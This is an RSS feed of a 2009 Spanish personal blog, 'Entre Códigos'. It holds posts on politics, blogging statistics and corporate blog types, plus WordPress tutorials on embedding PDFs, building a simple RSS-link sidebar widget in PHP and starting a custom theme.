<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Entre Códigos &#187; blog</title>
	<atom:link href="http://www.entrecodigos.com/temas/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.entrecodigos.com</link>
	<description>Reflexiones de un cerebro en fuga y artículos sobre posicionamiento, e-marketing, usabilidad y otros tecnicismos.</description>
	<lastBuildDate>Sun, 30 May 2010 10:46:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Lo mejor de entrecodigos en 2009</title>
		<link>http://www.entrecodigos.com/2009/12/lo-mejor-de-entrecodigos-en-2009.html</link>
		<comments>http://www.entrecodigos.com/2009/12/lo-mejor-de-entrecodigos-en-2009.html#comments</comments>
		<pubDate>Wed, 30 Dec 2009 23:44:18 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=1504</guid>
		<description><![CDATA[Haciendo un repaso a todo lo publicado en éste blog a lo largo de éste año, voy a listar lo que me parece más interesante:
Enero:

La República será de todos.
Cómo crear un widget de wordpress
Los trucos de ONO para estafar a sus propios clientes.

Febrero:

Dirigir la atención del usuario con los colores.
Consejos de seguridad en Internet.
¿Se puede [...]]]></description>
			<content:encoded><![CDATA[<p>Haciendo un repaso a todo lo publicado en éste blog a lo largo de éste año, voy a listar lo que me parece más interesante:</p>
<p><strong>Enero</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/01/la-republica-sera-de-todos.html">La República será de todos.</a></li>
<li><a href="http://www.entrecodigos.com/2009/01/como-crear-un-widget-de-wordpress.html">Cómo crear un widget de wordpress</a></li>
<li><a href="http://www.entrecodigos.com/2009/01/los-trucos-de-ono-para-estafar-a-sus-propios-clientes.html">Los trucos de ONO para estafar a sus propios clientes.</a></li>
</ul>
<p><strong>Febrero</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/02/dirigir-la-atencion-del-usuario-con-los-colores.html">Dirigir la atención del usuario con los colores.</a></li>
<li><a href="http://www.entrecodigos.com/2009/02/consejos-de-seguridad-en-internet.html">Consejos de seguridad en Internet.</a></li>
<li><a href="http://www.entrecodigos.com/2009/02/ahorrar-dinero-radiador-bajo-consumo.html">¿Se puede ahorrar dinero con un radiador de bajo consumo?</a></li>
<li><a href="http://www.entrecodigos.com/2009/02/el-derecho-a-leer.html">El derecho a leer.</a></li>
</ul>
<p><strong>Marzo</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/03/los-500-euros-que-promete-banesto.html">Los 500 euros que promete Banesto.</a></li>
<li><a href="http://www.entrecodigos.com/2009/03/coherencia-en-el-diseno.html">Coherencia en el diseño web.</a></li>
<li><a href="http://www.entrecodigos.com/2009/03/peligro-redes-sociales.html">¿Són peligrosas las redes sociales?</a></li>
<li><a href="http://www.entrecodigos.com/2009/03/caciquismo-democracia.html">¿Caciquismo o democracia?</a></li>
</ul>
<p><strong>Abril</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/04/carpe-diem.html">Carpe Diem</a></li>
<li><a href="http://www.entrecodigos.com/2009/04/visual-auditivo-kinestesico.html">¿Eres visual, auditivo o kinestésico?</a></li>
<li><a href="http://www.entrecodigos.com/2009/04/sobre-la-nueva-ministra-de-cultura.html">Sobre la nueva Ministra de cultura</a></li>
<li><a href="http://www.entrecodigos.com/2009/04/70-anos-despues-seguimos-sin-republica.html">70 años después… seguimos sin República</a></li>
</ul>
<p><strong>Mayo</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/05/canvieu-li-el-nom-als-premis-blocs-catalunya.html">Canvieu-li el nom als Premis Blocs Catalunya 2009</a></li>
<li><a href="http://www.entrecodigos.com/2009/05/iniciacion-a-linq-en-aspnet.html">Iniciación a LINQ en ASP.Net</a></li>
<li><a href="http://www.entrecodigos.com/2009/05/lista-cronologica-de-quienes-pronosticaron-que-ya-se-acababa-la-gran-depresion.html">Lista cronológica de quienes pronosticaron que ya se acababa la Gran Depresión</a></li>
</ul>
<p><strong>Junio</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/06/las-anclas-de-la-motivacion-de-edgar-schein.html">Las anclas de la motivación de Edgar Schein</a></li>
<li><a href="http://www.entrecodigos.com/2009/06/las-liebres-si-ganan-a-las-tortugas.html">Las liebres sí ganan a las tortugas.</a></li>
<li><a href="http://www.entrecodigos.com/2009/06/la-magia-de-la-vida.html">La magia de la vida.</a></li>
<li><a href="http://www.entrecodigos.com/2009/06/dia-reflexion-o-lavado-cerebral.html">¿Día de reflexión o de lavado cerebral?</a></li>
</ul>
<p><strong>Julio</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/07/cuestion-de-confianza.html">Cuestión de confianza.</a></li>
<li><a href="http://www.entrecodigos.com/2009/07/sistema-subastas-adwords.html">Cómo funciona el sistema de subastas de AdWords</a></li>
<li><a href="http://www.entrecodigos.com/2009/07/probando-el-rendimiento-de-linq-en-aspnet.html">Probando el rendimiento de LINQ en ASP.Net</a></li>
</ul>
<p><strong>Agosto</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/08/catalanes-de-mierda.html">¡Catalanes de mierda!</a></li>
</ul>
<p><strong>Septiembre</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/09/la-satira-de-los-tiranos.html">La sátira de los tiranos.</a></li>
<li><a href="http://www.entrecodigos.com/2009/09/television-abuelo-intruso.html">La televisión, el abuelo intruso</a></li>
</ul>
<p><strong>Octubre</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/10/una-reflexiva-despedida.html">Una reflexiva despedida</a></li>
<li><a href="http://www.entrecodigos.com/2009/10/espana-es-el-paraiso.html">España es el paraíso</a></li>
<li><a href="http://www.entrecodigos.com/2009/10/financiacion-barcelona-1992.html">La financiación de Barcelona’92</a></li>
</ul>
<p><strong>Noviembre</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/11/ensenando-a-pensar.html">Enseñando a pensar</a></li>
<li><a href="http://www.entrecodigos.com/2009/11/la-lucha-contra-las-marcas-blancas-no-es-solo-cosa-de-espana.html">La lucha contra las marcas blancas no es sólo cosa de España</a></li>
<li><a href="http://www.entrecodigos.com/2009/11/europa-esta-sentenciada-a-muerte.html">Europa está sentenciada a muerte</a></li>
<li><a href="http://www.entrecodigos.com/2009/11/tierra-de-lazarillos.html">Tierra de lazarillos</a></li>
</ul>
<p><strong>Diciembre</strong>:</p>
<ul>
<li><a href="http://www.entrecodigos.com/2009/12/a-debate-el-consumismo.html">A debate: El consumismo</a></li>
<li><a href="http://www.entrecodigos.com/2009/12/tipo-relaciones-tenemos-espana.html">¿Qué tipo de relaciones tenemos en España?</a></li>
<li><a href="http://www.entrecodigos.com/2009/12/el-teu-domini-cat-per-30-euracos.html">El teu propi domini .cat per tan sols… 30 euracos!!</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/12/lo-mejor-de-entrecodigos-en-2009.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Me uno a la red de blogs socialistas</title>
		<link>http://www.entrecodigos.com/2009/10/me-uno-a-la-red-de-blogs-socialistas.html</link>
		<comments>http://www.entrecodigos.com/2009/10/me-uno-a-la-red-de-blogs-socialistas.html#comments</comments>
		<pubDate>Mon, 05 Oct 2009 07:00:15 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[politica]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=1347</guid>
		<description><![CDATA[
Tras mucho tiempo queriendo hacer algo más que ver el toro desde la barrera y aunque mi blog sea mi peculiar estilo de torear la actualidad política, finalmente me he decidido a unirme a un grupo de bloggers de ideología compartida desde el que exponer mis ideas u opiniones y acceder a las de los [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" src="http://img27.imageshack.us/img27/7162/rbs.jpg" alt="Red Blogs socialistas" /><br />
Tras mucho tiempo queriendo hacer algo más que ver el toro desde la barrera y aunque mi blog sea mi peculiar estilo de torear la actualidad política, finalmente me he decidido a unirme a un grupo de bloggers de ideología compartida desde el que exponer mis ideas u opiniones y acceder a las de los demás.</p>
<p>La red de blogs socialistas, creada por <a href="http://enriquefriki.wordpress.com/">Enrique Castro</a>, pretende ser un <strong>hub de contenido socialista</strong> para quienes estén interesados en conocer múltiples opiniones monoprismáticas. ¡Y si ya es divertido ver las diferencias entre socialistas, ni qué decir del resto del abanico ideológico! No es el objetivo dejar de mirar lo que opinan otros, sino simplemente tener un punto de encuentro.</p>
<p><span id="more-1347"></span><br />
<h2>¿Ser socialista significa ser del PSOE?</h2>
<p>¡Ajá! Primer error grave. Muchos de mis amigos o conocidos confunden los términos, como si el PSOE tuviese la patente socialista, consideran que los socialistas sólo pueden ser del PSOE. Y aunque es innegable que existe simpatía, no necesariamente debe uno militar o votar dicho partido.</p>
<h2>Entonces, ¿Qué es el socialismo?</h2>
<p>El socialismo es una corriente de pensamiento que surgió tras el éxito del capitalismo y en respuesta a los excesos de éste que ya en aquel entonces se hacían evidentes. El socialismo tuvo muchas corrientes de pensamiento o ramas, aunque en general podríamos decir que todas parten de un denominador común: regular el mercado para evitar los excesos y propiciar una mejor calidad de vida a las capas mas bajas de la sociedad.</p>
<h2>¿Se ajusta el PSOE a la definición de socialismo?</h2>
<p>Está claro que el PSOE se ajusta a la ideología socialista, pero como la idea de socialismo es amplia siempre se pueden tener distintas opiniones, es por eso que se puede ser socialista y opinar de forma distinta a la oficial del PSOE.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/10/me-uno-a-la-red-de-blogs-socialistas.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Diferencia wordpress entre urls mayúsculas y minúsculas?</title>
		<link>http://www.entrecodigos.com/2009/09/diferencia-wordpress-urls-mayusculas-yminuscula.html</link>
		<comments>http://www.entrecodigos.com/2009/09/diferencia-wordpress-urls-mayusculas-yminuscula.html#comments</comments>
		<pubDate>Tue, 15 Sep 2009 13:49:30 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[taller]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=1328</guid>
		<description><![CDATA[Bueno, finalmente he actualizado a la versión 2.8.4, un poco tarde pero las vacaciones han sido largas este año&#8230; xD
Lo único que me gustaría comentar es un pequeño problema que he tenido con las urls y que me ha llevado unas horas solucionar. Como muchos, tengo un módulo de rewriting y urls virtuales para el [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno, finalmente he actualizado a la versión 2.8.4, un poco tarde pero las vacaciones han sido largas este año&#8230; xD</p>
<p>Lo único que me gustaría comentar es un pequeño problema que he tenido con las urls y que me ha llevado unas horas solucionar. Como muchos, tengo un módulo de <strong>rewriting y urls virtuales</strong> para el blog que hasta ahora no me había dado problemas (*ejem*, bueno, no demasiados&#8230; ¬¬) y tras actualizar la versión la home dejaba de funcionar.</p>
<p>Volviendo atrás en la actualización la Home funcionaba de nuevo, quitando el theme la cosa no se arreglaba y tras mirar configuraciones por todas partes lo único que saqué en claro fue que todas las páginas funcionaban menos la home (<a href="http://www.entrecodigos.com">http://www.entrecodigos.com</a>).</p>
<p>Tras pedirle ayuda a Victor, mi ángel de la guarda en businet, éste ha conseguido que el blog por lo menos mostrara un mensaje de error y a partir de aquí e investigando he llegado a encontrar el problema: el servidor tenía configurado por defecto que si no se le solicitaba una página mostrara Index.php (y una lista de otras posibles opciones) como suele hacerse, pero si os fijáis Index está escrito con mayúscula.</p>
<p>Por algún motivo, lo que antes wordpress pillaba sin problemas ahora era incapaz de mostrártelo. Modificando el rewriter y forzando a minúsculas la url he conseguido solucionar esto. Pero mi pregunta es&#8230; <strong>¿han cambiado algo en wordpress que ahora diferencia entre mayúsculas y minúsculas en las URLs o es algo que yo no he tenido en cuenta?</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/09/diferencia-wordpress-urls-mayusculas-yminuscula.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>2 años de Blog&#8230; y números</title>
		<link>http://www.entrecodigos.com/2009/05/2-anos-de-blog-y-numeros.html</link>
		<comments>http://www.entrecodigos.com/2009/05/2-anos-de-blog-y-numeros.html#comments</comments>
		<pubDate>Thu, 07 May 2009 20:54:50 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[cumpleaños]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=1075</guid>
		<description><![CDATA[Bueno, aunque con algo de retraso, el 13 de Abril del 2007 inicié mi cuarta andadura blogosférica (creo que era la cuarta, yo que sé) y finalmente esta vez sí, no abandoné el proyecto y tiré adelante. Como no quiero aburrir con egocentrismos, simplemente colocar algunos números:

256 artículos publicados.
1.056 comentarios aprobados (que no son SPAM).
Récord [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno, aunque con algo de retraso, el <strong>13 de Abril del 2007</strong> inicié mi cuarta andadura blogosférica (creo que era la cuarta, yo que sé) y finalmente esta vez sí, no abandoné el proyecto y tiré adelante. Como no quiero aburrir con egocentrismos, simplemente colocar algunos números:</p>
<ul>
<li>256 artículos publicados.</li>
<li>1.056 comentarios aprobados (que no son SPAM).</li>
<li>Récord de visitas en un sólo día: 10.520 visitas.</li>
<li>Récord de páginas vistas en un solo día: 13.725.</li>
<li>Media de visitas actual: 260 visitas diarias.</li>
</ul>
<p>Y ara mismo no se me ocurre nada más que sea interesante&#8230; ah si, total recaudado por AdSense desde que lo puse en Febrero: <strong>9,44 euros</strong>. Mu triste la verdad.</p>
<p>En todo caso, me auto felicito a mi mismo por estos 2 años de Blog y espero que sean muchos más&#8230; <img src='http://www.entrecodigos.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/05/2-anos-de-blog-y-numeros.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Tipos de Blog corporativo</title>
		<link>http://www.entrecodigos.com/2009/03/tipos-de-blog-corporativo.html</link>
		<comments>http://www.entrecodigos.com/2009/03/tipos-de-blog-corporativo.html#comments</comments>
		<pubDate>Mon, 30 Mar 2009 07:00:44 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[blogosfera]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[marketing]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=985</guid>
		<description><![CDATA[El otro día me dio por pensar en los distintos modelos de Blog corporativo que he visto y en cuáles me han parecido más efectivos. En general, he visto mucho blog que se asemeja a un escaparate publicitario online, sin contenido de interés y poco elaborado, parecen más una página de SPAM que un blog [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" src="http://img21.imageshack.us/img21/2720/blogdni.jpg" alt="Blog corporativo" />El otro día me dio por pensar en los distintos modelos de Blog corporativo que he visto y en cuáles me han parecido más efectivos. En general, he visto mucho blog que se asemeja a un escaparate publicitario online, sin contenido de interés y poco elaborado, parecen más una página de SPAM que un blog en si. Voy a comentar los 3 modelos que más me han gustado:</p>
<h2>Blog de referencia</h2>
<p>Éste es mi modelo de blog preferido. El blog de referencia tiene como objetivo <strong>convertirse en una referencia del sector</strong> online, de forma que tus clientes o clientes potenciales acudan al mismo a informarse.</p>
<p>Imaginemos que queremos vender un software de gestión de concesionarios, pues bien, podríamos montar un Blog con técnicas de venta de vehículos, herramientas online gratuitas útiles, noticias de interés del sector automovilístico, informes estadísticos sobre ventas, producción, etc. en el sector o entrevistas a personas importantes dentro del mismo como el Director de alguna agrupación de concesionarios.</p>
<p>Si conseguimos que nuestros clientes potenciales entren a nuestro Blog <strong>ya no es necesario realizar autobombo</strong>, nuestro logotipo en la cabecera o un banner publicitario en el lateral es suficiente como publicidad subliminal para darnos a conocer. Además, si mostramos que sabemos mucho transmitiremos confianza.</p>
<p><span id="more-985"></span><br />
<h2>Blog escaparate</h2>
<p>Éste es el modelo preferido por muchas empresas, el problema es que la mayoría no lo hacen bien. Se olvidan de lo esencial, <strong>el blog no se lo leerá nadie si no tiene contenido de interés</strong>, y se ponen a promocionar sus productos con frases marketinianas de escuela sin comprender que éste nuevo medio funciona de forma distinta, aquí no sirven los trucos de otros medios de comunicación.</p>
<p>Para poder realizar autobombo es necesario tener algo de que hablar, algo nuevo e interesante. Ejemplo: Si vamos a hablar de un modelo de coche, no digamos que tiene ruedas, ¡todos tienen!, pero podemos hablar del modelo de ruedas que incorpora y de sus ventajas frente al resto.</p>
<p>Si no tenemos nada de que hablar será difícil hacer este tipo de blog, si nuestro producto no ofrece ventajas frente al resto, novedades tecnológicas o puntos que marquen la diferencia, resultará más difícil rellenar líneas en el Blog.</p>
<p>Un buen truco para hablar de uno mismo y poner cosas interesantes es <strong>asistir a eventos</strong>, te das a conocer en los mismos y puedes hablar de ello en el Blog, de forma que cuentes anécdotas interesantes al tiempo que haces autobombo.</p>
<h2>Blog técnico</h2>
<p>Es otro modelo, quizás menos interesante, pero que me ha gustado. El blog técnico se convierte en una especie de <strong>FAQ que resuelve dudas</strong> sobre los productos o servicios de la empresa. Informa de actualizaciones, problemas y cómo resolverlos o publica tutoriales de uso del producto.</p>
<p>En general lo alimentan desde el SAT de la empresa y permite destinar muchas incidencias de clientes hacia el mismo, de forma que cuando el cliente se acostumbra a su uso se consigue ahorrar tiempo de SAT reduciendo las incidencias. Un ejemplo de este tipo es el <a href="http://blog.domitienda.com/">Blog de Domitienda</a>.</p>
<p>Podemos discutir qué modelo de FAQ es más práctico, ya que <strong>quizás una web estilo wiki resultaría más efectiva</strong>, pero los costes para la empresa son más reducidos si se utilizan herramientas de este tipo que si se crea desde 0 todo un sistema de FAQs.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/03/tipos-de-blog-corporativo.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Insertar archivos PDF en tus posts de Wordpress</title>
		<link>http://www.entrecodigos.com/2009/03/insertar-archivos-pdf-en-tus-posts-de-wordpress.html</link>
		<comments>http://www.entrecodigos.com/2009/03/insertar-archivos-pdf-en-tus-posts-de-wordpress.html#comments</comments>
		<pubDate>Thu, 19 Mar 2009 10:15:15 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[taller]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=952</guid>
		<description><![CDATA[Hoy me siento como Kristian Pielhoff, presentador de Bricomanía, y me he decidido por realizar un tutorial sobre la inserción de archivos PDF en nuestro blog en wordpress. Aviso que las opciones que voy a mostraros podrían no coincidir si no tenéis instalada la versión 2.7.1 de wordpress.
Publicar archivo PDF
Lo primero de todo es ver [...]]]></description>
			<content:encoded><![CDATA[<p>Hoy me siento como Kristian Pielhoff, presentador de Bricomanía, y me he decidido por realizar un tutorial sobre la <strong>inserción de archivos PDF en nuestro blog en wordpress</strong>. Aviso que las opciones que voy a mostraros podrían no coincidir si no tenéis instalada la versión 2.7.1 de wordpress.</p>
<h2>Publicar archivo PDF</h2>
<p>Lo primero de todo es ver cómo incluir de forma sencilla un archivo PDF para descargar en nuestro blog. Pues bien, esto es muy sencillo, rápido y económico. En el menú de escritura del post seguramente habremos observado las siguientes opciones en la parte superior, justo donde pone &#8220;<em>Add media</em>&#8220;:</p>
<p><img class="aligncenter" src="http://img17.imageshack.us/img17/8909/opcionesupload.jpg" alt="opciones" /></p>
<p><span id="more-952"></span>La primera de ellas, &#8220;<em>Add an image</em>&#8220;, la hemos usado más de una vez, pero la última, &#8220;<em>Add media</em>&#8220;, puede resultarnos algo confusa y por ello no llegamos a utilizarla. Pues bien, es precisamente esa opción la que debemos utilizar.</p>
<p>Veréis que el menú para insertar un archivo (en este caso un PDF) es muy similar al que permite subir imágenes. Utiliza el campo &#8220;<em>Título</em>&#8221; para establecer el texto del enlace. Sólo dos apuntes: Si ves que el menú no te funciona haz click en &#8220;<em>Try the Browser uploader instead</em>&#8220;. Además, <strong>asegúrate de tener permisos de escritura en el servidor</strong> para poder subir archivos, si no los tienes no podrás subir ni imágenes, contacta con tu administrador de sistema y pídele que te de permisos.</p>
<h2>PDF con icono</h2>
<p>Para que nuestro enlace al PDF tenga un icono descriptivo del tipo de archivo que se va a encontrar el usuario podemos subir una imagen pequeñita y ponerla manualmente al lado del enlace, pero también tenemos el plugin <a href="http://wordpress.org/extend/plugins/custom-thumbnails/">Custom thumbnails</a>.</p>
<p>Tras instalar el plugin, tenemos la opción de publicar PDFs con icono siguiendo estos pasos:</p>
<ol>
<li>Sube el archivo PDF igual que antes, a través de la opción Add media. No lo insertes en el post aún.</li>
<li>Sube la imagen a usar de icono, no publiques nada aún.</li>
<li>Observa que el menú de Add Media tiene 3 pestañas, accede a la pestaña &#8220;Media Library&#8221;.<br />
<img src="http://img21.imageshack.us/img21/4336/medialibrary.jpg" class="aligncenter" /></li>
<li>Busca la imagen tamaño icono que has subido y presiona &#8220;<em>Show</em>&#8220;.</li>
<li>Ahora, en &#8220;<em>Parent Item</em>&#8220;, puedes seleccionar un &#8220;Archivo padre&#8221;, de forma que ese archivo se linkará con ésta imagen como icono.</li>
<li>Existen varias opciones de presentación en función de si rellenas el campo Caption o no, pero te recomiendo dejar ese espacio en blanco y presionar &#8220;<em>Insert into post</em>&#8220;</li>
<li>Tras eso ya tenemos todo montado, pero nuestro icono no tiene texto. Ahora vamos al modo de edición en HTML y justo al cierre del enlace (justo antes de la etiqueta &lt;/a>) incluimos nuestro texto.</li>
</ol>
<p>Éste es el resultado:</p>
<p><img src="http://blog.pisos.com/wp-content/uploads/2009/03/ico-pdf.gif" /><a href="#">Descargar archivo PDF.</a></p>
<h2>Opción externa</h2>
<p>Una última opción es utilizar un <strong>servicio gratuito para subir PDFs</strong> y enlazar la ruta del archivo, ésta alternativa puede ser útil si queremos ahorrarnos ancho de banda. Por ejemplo: <a href="http://pdfmenot.com/">Free Online PDF viewer</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/03/insertar-archivos-pdf-en-tus-posts-de-wordpress.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Cómo crear un widget de wordpress.</title>
		<link>http://www.entrecodigos.com/2009/01/como-crear-un-widget-de-wordpress.html</link>
		<comments>http://www.entrecodigos.com/2009/01/como-crear-un-widget-de-wordpress.html#comments</comments>
		<pubDate>Fri, 23 Jan 2009 07:51:26 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[taller]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=811</guid>
		<description><![CDATA[Siguiendo con el manual de crear tu propio theme de wordpress, es posible que te encuentres con que quieres agregar nuevos módulos al sidebar, más conocidos como widgets.
Hay varias formas de hacer esto, por un lado, puesto y que tienes la opción de escoger entre un sidebar dinámico y otro estático, podrías escoger lo segundo [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://img398.imageshack.us/img398/5676/widget2hw8.jpg" class="alignright" alt="Widget RSS" />Siguiendo con el manual de <a href="http://www.entrecodigos.com/2009/01/como-crear-un-theme-de-wordpress-parte-1.html">crear tu propio theme de wordpress</a>, es posible que te encuentres con que quieres agregar nuevos módulos al <strong>sidebar</strong>, más conocidos como <strong>widgets</strong>.</p>
<p>Hay varias formas de hacer esto, por un lado, puesto y que tienes la opción de escoger entre un sidebar dinámico y otro estático, podrías escoger lo segundo y programar en php el <strong>sidebar de una sola pieza</strong>, aunque <strong>no será configurable</strong> desde el panel de administración. Otra opción es entrar al panel de administración y crear un <strong>widget de tipo texto</strong>, en el que podrías meter código html o javascript.</p>
<p>Pero el problema de todo esto, es que en caso de querer modificar el sidebar sin tocar el código fuente, de que algún widget de problemas, queramos hacer un backup o actualizar a una nueva versión, el mantenimiento resulta más costoso. Por ello la opción más lenta pero también más segura a largo plazo consiste en <strong>crear nuevos widgets</strong> e incorporarlos a través del panel de administración.</p>
<h2>¿Cómo creo un nuevo widget?</h2>
<p>Crear un nuevo widget es sencillo, sólo tienes que seguir estos pasos:</p>
<ol>
<li>Crear un archivo php para meter tu widget, por ejemplo <em>miwidget.php</em></li>
<li>Incluir y editar en ese archivo las líneas de código que te pongo mas abajo.</li>
<li>Colocar el archivo <em>miwidget.php</em> en la carpeta wp-content/plugins/</li>
<li>En el panel de administración, activar el widget en el apartado de plugins.</li>
<li>En el panel de administración, arrastrar el widget al sidebar en el apartado de design-&gt;widgets.</li>
</ol>
<p><span id="more-811"></span>Éste es el código que debes introducir en el archivo <em>miwidget.php</em>:</p>
<pre>&lt;?php
/*
Plugin Name: MiWidget - Feed RSS
Plugin URI: http://www.entrecodigos.com/
Description: Enlaces para suscribirse al feed del blog
Author: Rubén Cantón
Version: 1
Author URI: http://www.entrecodigos.com/
*/

function miwidget_rss() {
    echo "&lt;div class='sidebar-rss'&gt;";
    echo "&lt;img src='./wp-content/plugins/miwidget/rss.gif' alt='rss'/&gt;";
    echo "&lt;a href = \"http://feeds.feedburner.com/entrecodigos/ \"&gt;Feed de artículos&lt;/a&gt;";
    echo "&lt;/div&gt;";
}

function init_miwidget_rss(){register_sidebar_widget("Mi Widget - Feed RSS", "miwidget_rss");}

add_action("plugins_loaded", "init_miwidget_rss");
?&gt;</pre>
<p>Al igual que cuando creamos el style.css, <strong>los comentarios del principio sirven para identificar tu widget</strong> en el panel de administración, en este caso, de administración de plugins.</p>
<p>Los métodos utilizados son los siguientes:</p>
<p><strong>add_action</strong>: Establece que cuando se produzca un evento determinado (en este caso, tras la carga de los plugins), se ejecute el método establecido.</p>
<p><strong>register_sidebar_widget</strong>: Registra un widget estableciendo un nombre para el mismo (que será el que se muestre en el panel de administración de widgets) y la función a la que se debe llamar cuando se ejecute.</p>
<h2>Lo que no debemos olvidar</h2>
<ul>
<li>No olvides que existen <a href="http://widgets.wordpress.com/">widgets ya creados para wordpress.</a></li>
<li>Cuando crees tus propias funciones, recuerda poner siempre algún prefijo imposible de igualar, no sea que generes un conflicto con funciones del wordpress o con otro plugin.</li>
<li>Puedes crear una carpeta para tu plugin, y meter imágenes, estilos o cualquier cosa en ella, como he hecho yo en el ejemplo.</li>
</ul>
<p>Fuentes:<br />
<a href="http://www.emanueleferonato.com/2008/02/15/how-to-create-a-wordpress-widget/">Emanuele Feronato</a><br />
<a href="http://codex.wordpress.org/Plugins/WordPress_Widgets_Api">Wordpress Widgets API</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/01/como-crear-un-widget-de-wordpress.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Cómo crear un theme de wordpress &#8211; Parte 1</title>
		<link>http://www.entrecodigos.com/2009/01/como-crear-un-theme-de-wordpress-parte-1.html</link>
		<comments>http://www.entrecodigos.com/2009/01/como-crear-un-theme-de-wordpress-parte-1.html#comments</comments>
		<pubDate>Mon, 12 Jan 2009 07:32:53 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[disenyo]]></category>
		<category><![CDATA[taller]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=766</guid>
		<description><![CDATA[Aunque normalmente y dada mi falta de originalidad para ciertos temas (además de mi mente excesivamente analítica) prefiero coger un theme gratuito y editarlo a mi gusto, me he decidido por investigar cómo crear desde 0 (bueno, desde 0,5) un theme de wordpress.
Resulta bastante sencillo y no supone un gran coste, pero para poder explicarme [...]]]></description>
			<content:encoded><![CDATA[<p>Aunque normalmente y dada mi falta de originalidad para ciertos temas (además de mi mente excesivamente analítica) prefiero coger un theme gratuito y editarlo a mi gusto, me he decidido por investigar cómo crear desde 0 (bueno, desde 0,5) un <strong>theme de wordpress</strong>.</p>
<p><strong>Resulta bastante sencillo</strong> y no supone un gran coste, pero para poder explicarme con más comodidad y hacer artículos menos densos prefiero hacerlo en 2 o 3 partes, de forma que separe unos temas de otros. De esta manera, pasaré a explicar cómo crear y configurar un theme y qué archivos son necesarios, los estilos que deberíamos incluir, los archivos que deberíamos editar y por último algún truco más avanzado. Empecemos.</p>
<p><span id="more-766"></span><br />
<h2>Creando nuestro nuevo theme. ¿Qué necesitamos?</h2>
<p>Lo primero que hay que saber es que los themes se guardan en carpetas independientes dentro de <em>wp-content/themes/</em>, por lo tanto, nos metemos ahí y <strong>creamos una nueva carpeta</strong>, por ejemplo &#8220;<em>miNuevoTheme</em>&#8220;.</p>
